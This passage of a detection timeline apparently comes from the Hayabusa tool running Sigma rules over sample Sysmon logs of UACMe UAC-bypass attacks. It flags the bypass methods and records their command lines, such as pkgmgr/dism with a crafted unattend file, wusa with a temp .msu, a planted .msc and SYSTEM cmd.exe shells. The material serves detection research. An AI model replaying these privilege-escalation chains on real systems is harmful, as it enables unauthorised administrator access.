UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:46.647 +09:00,MSEDGEWIN10,11,high,UAC Bypass Using Windows Media Player - File,,rules/sigma/file_event/file_event_uac_bypass_wmp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:46.685 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 0000028064421EA0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:47.219 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 0000028064425400 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:48.431 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\windows\system32\cmd.exe ""C:\Program Files\Windows Media Player\osk.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 32",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:48.675 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 32",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:48.696 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 318 0000028064425400 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:49.371 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 32",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 20:23:15.364 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 30 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:15.364 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:15.579 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 0000028064427C00 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:17.433 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\syswow64\wusa.exe"" : Path: C:\Windows\SysWOW64\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 30",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:17.541 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 294 0000028064427C00 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:18.619 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\syswow64\wusa.exe"" : Path: C:\Windows\SysWOW64\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 30",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:18.694 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 6312 -ip 6312",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:18.715 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\SysWOW64\WerFault.exe -u -p 6312 -s 80 : Path: C:\Windows\SysWOW64\WerFault.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\syswow64\wusa.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:18.824 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4348 -ip 4348",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 21:06:53.680 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 23 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:53.680 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:53.943 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BCAF0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:54.900 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\pkgmgr.exe"" /n:C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml : Path: C:\Windows\System32\PkgMgr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 23",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:54.972 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 406 000002806444C740 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:55.455 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\pkgmgr.exe"" /n:C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml : Path: C:\Windows\System32\PkgMgr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 23",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:55.620 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\dism.exe"" /online /norestart /apply-unattend:""C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml"" : Path: C:\Windows\System32\Dism.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\pkgmgr.exe"" /n:C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:55.620 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using PkgMgr and DISM,,rules/sigma/process_creation/win_uac_bypass_pkgmgr_dism.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:55.820 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\dism.exe"" /online /norestart /apply-unattend:""C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:08:13.636 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 22 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:13.636 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:13.874 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC3D0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:14.372 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC9C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:14.977 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC890 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:15.664 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC170 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:16.721 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 22",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:16.753 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 318 0000028064471300 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:16.853 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 4740 -s 128 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\SYSTEM : Parent Command: consent.exe 896 318 0000028064471300,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:16.853 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using Consent and Comctl32 - Process,,rules/sigma/process_creation/win_uac_bypass_consent_comctl32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:19.915 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: consent.exe 896 318 0000028064471300",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:20.731 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 22",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:21.128 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC500 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:21.954 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 7564 -s 152 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\SYSTEM : Parent Command: consent.exe 896 272 00000280644BC500,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:21.954 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using Consent and Comctl32 - Process,,rules/sigma/process_creation/win_uac_bypass_consent_comctl32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:23.554 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: consent.exe 896 272 00000280644BC500",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:23.555 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:55.408 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BCAF0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:31:14.789 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 37 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:14.789 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:15.354 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" /quiet C:\Users\IEUser\AppData\Local\Temp\update.msu : Path: C:\Windows\System32\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 37",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:15.364 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 400 00000280644220C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:15.779 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" /quiet C:\Users\IEUser\AppData\Local\Temp\update.msu : Path: C:\Windows\System32\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 37",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:15.779 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using NTFS Reparse Point - Process,,rules/sigma/process_creation/win_uac_bypass_ntfs_reparse_point.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:27.049 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC040 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:32:34.577 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 36 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:34.577 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:35.085 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" /quiet C:\Users\IEUser\AppData\Local\Temp\update.msu : Path: C:\Windows\System32\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 36",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:35.137 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 400 00000280644220C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:35.531 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" /quiet C:\Users\IEUser\AppData\Local\Temp\update.msu : Path: C:\Windows\System32\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 36",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:35.531 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using NTFS Reparse Point - Process,,rules/sigma/process_creation/win_uac_bypass_ntfs_reparse_point.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:36.794 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\dcomcnfg.exe"" : Path: C:\Windows\System32\dcomcnfg.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 36",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:36.812 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 318 0000028064471E00 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:37.160 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\dcomcnfg.exe"" : Path: C:\Windows\System32\dcomcnfg.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 36",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:37.184 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\mmc.exe C:\Windows\system32\comexp.msc : Path: C:\Windows\System32\mmc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\dcomcnfg.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:37.261 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BCAF0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:49.013 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC3D0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 22:50:26.614 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 38 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:26.614 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:27.060 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 398 000002806443AF40 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:27.356 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: huy32,wf.msc ""C:\Users\IEUser\AppData\Local\Temp\kmkze.msc"" : Path: C:\Windows\System32\mmc.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 38",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:29.424 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Local\Temp\fubuki.exe"" : Path: C:\Users\IEUser\AppData\Local\Temp\Fubuki.exe : User: MSEDGEWIN10\IEUser : Parent Command: huy32,wf.msc ""C:\Users\IEUser\AppData\Local\Temp\kmkze.msc""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:29.424 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:29.459 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\IEUser\AppData\Local\Temp\fubuki.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-04 00:08:06.262 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 39 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:06.262 